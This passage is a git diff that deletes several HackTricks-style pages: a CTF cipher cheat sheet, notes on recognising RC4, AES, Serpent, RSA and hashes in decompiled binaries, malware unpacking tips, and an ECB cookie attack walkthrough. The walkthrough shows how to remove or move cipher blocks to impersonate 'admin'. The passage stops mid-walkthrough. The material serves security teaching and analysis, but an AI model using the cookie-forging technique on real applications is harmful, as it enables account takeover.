-Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
-
-```
-krodfdudfrod
-```
-
-### SMS Code
-
-**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
-For example: 2=A, 22=B, 222=C, 3=D...\
-You can identify this code because you will see\*\* several numbers repeated\*\*.
-
-You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
-
-### Bacon Code
-
-Substitude each letter for 4 As or Bs (or 1s and 0s)
-
-```
-00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
-AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
-```
-
-### Runes
-
-
-
-## Compression
-
-**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
-
-## Easy Crypto
-
-### XOR - Autosolver
-
-- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
-
-### Bifid
-
-A keywork is needed
-
-```
-fgaargaamnlunesuneoa
-```
-
-### Vigenere
-
-A keywork is needed
-
-```
-wodsyoidrods
-```
-
-- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
-- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
-- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
-
-## Strong Crypto
-
-### Fernet
-
-2 base64 strings (token and key)
-
-```
-Token:
-gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
-
-Key:
--s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
-```
-
-- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
-
-### Samir Secret Sharing
-
-A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
-
-```
-8019f8fa5879aa3e07858d08308dc1a8b45
-80223035713295bddf0b0bd1b10a5340b89
-803bc8cf294b3f83d88e86d9818792e80cd
-```
-
-[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
-
-### OpenSSL brute-force
-
-- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
-- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
-
-## Tools
-
-- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
-- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
-- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md
deleted file mode 100644
index bcfcf1d0ac8..00000000000
--- a/src/crypto-and-stego/cryptographic-algorithms/README.md
+++ /dev/null
@@ -1,185 +0,0 @@
-# Cryptographic/Compression Algorithms
-
-## Cryptographic/Compression Algorithms
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Identifying Algorithms
-
-If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
-
-### API functions
-
-**CryptDeriveKey**
-
-If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
-
-.png>)
-
-Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
-
-**RtlCompressBuffer/RtlDecompressBuffer**
-
-Compresses and decompresses a given buffer of data.
-
-**CryptAcquireContext**
-
-From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
-
-**CryptCreateHash**
-
-Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
-
-.png>)
-
-\
-Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
-
-### Code constants
-
-Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
-
-.png>)
-
-If you search for the first constant in Google this is what you get:
-
-.png>)
-
-Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
-You can search any of the other constants and you will obtain (probably) the same result.
-
-### data info
-
-If the code doesn't have any significant constant it may be **loading information from the .data section**.\
-You can access that data, **group the first dword** and search for it in google as we have done in the section before:
-
-.png>)
-
-In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
-
-## RC4 **(Symmetric Crypt)**
-
-### Characteristics
-
-It's composed of 3 main parts:
-
-- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
-- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
-- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
-
-> [!NOTE]
-> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
-
-### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
-
-.png>)
-
-### **Scrambling Stage:**
-
-.png>)
-
-### **XOR Stage:**
-
-.png>)
-
-## **AES (Symmetric Crypt)**
-
-### **Characteristics**
-
-- Use of **substitution boxes and lookup tables**
- - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
-- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
-
-### SBox constants
-
-.png>)
-
-## Serpent **(Symmetric Crypt)**
-
-### Characteristics
-
-- It's rare to find some malware using it but there are examples (Ursnif)
-- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
-
-### Identifying
-
-In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
-Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
-
-.png>)
-
-As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
-
-.png>)
-
-Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
-
-## RSA **(Asymmetric Crypt)**
-
-### Characteristics
-
-- More complex than symmetric algorithms
-- There are no constants! (custom implementation are difficult to determine)
-- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
-
-### Identifying by comparisons
-
-.png>)
-
-- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
-- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
-
-## MD5 & SHA (hash)
-
-### Characteristics
-
-- 3 functions: Init, Update, Final
-- Similar initialize functions
-
-### Identify
-
-**Init**
-
-You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
-
-.png>)
-
-**MD5 Transform**
-
-Note the use of more constants
-
- (1) (1).png>)
-
-## CRC (hash)
-
-- Smaller and more efficient as it's function is to find accidental changes in data
-- Uses lookup tables (so you can identify constants)
-
-### Identify
-
-Check **lookup table constants**:
-
-.png>)
-
-A CRC hash algorithm looks like:
-
-.png>)
-
-## APLib (Compression)
-
-### Characteristics
-
-- Not recognizable constants
-- You can try to write the algorithm in python and search for similar things online
-
-### Identify
-
-The graph is quiet large:
-
- (2) (1).png>)
-
-Check **3 comparisons to recognise it**:
-
-.png>)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
deleted file mode 100644
index 6699ec26f28..00000000000
--- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md
+++ /dev/null
@@ -1,24 +0,0 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-# Identifying packed binaries
-
-- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
-- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
-- You can also use some tools to try to find which packer was used to pack a binary:
- - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- - [Language 2000](http://farrokhi.net/language/)
-
-# Basic Recommendations
-
-- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
-- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
-- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
-- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
-- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
-- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
- However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
-- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md
deleted file mode 100644
index a09798b1edd..00000000000
--- a/src/crypto-and-stego/electronic-code-book-ecb.md
+++ /dev/null
@@ -1,74 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-# ECB
-
-(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
-
-
-
-Using ECB has multiple security implications:
-
-- **Blocks from encrypted message can be removed**
-- **Blocks from encrypted message can be moved around**
-
-# Detection of the vulnerability
-
-Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\
-Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
-You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
-
-Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
-
-```
-\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
-
-\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
-```
-
-This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
-
-Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
-
-| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
-| ---------------- | ---------------- | ------------------------- | --------------------------------- |
-| 2 | 2 | 4 | 8 |
-| 3 | 3 | 6 | 8 |
-| 3 | 4 | 7 | 8 |
-| 4 | 4 | 8 | 16 |
-| 7 | 7 | 14 | 16 |
-
-# Exploitation of the vulnerability
-
-## Removing entire blocks
-
-Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
-
-```
-\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
-```
-
-We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
-Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
-
-```
-\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
-```
-
-## Moving blocks
-
-In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
-
-So, another way to impersonate the user `admin` would be to:
-
-- Generate a username that: `len(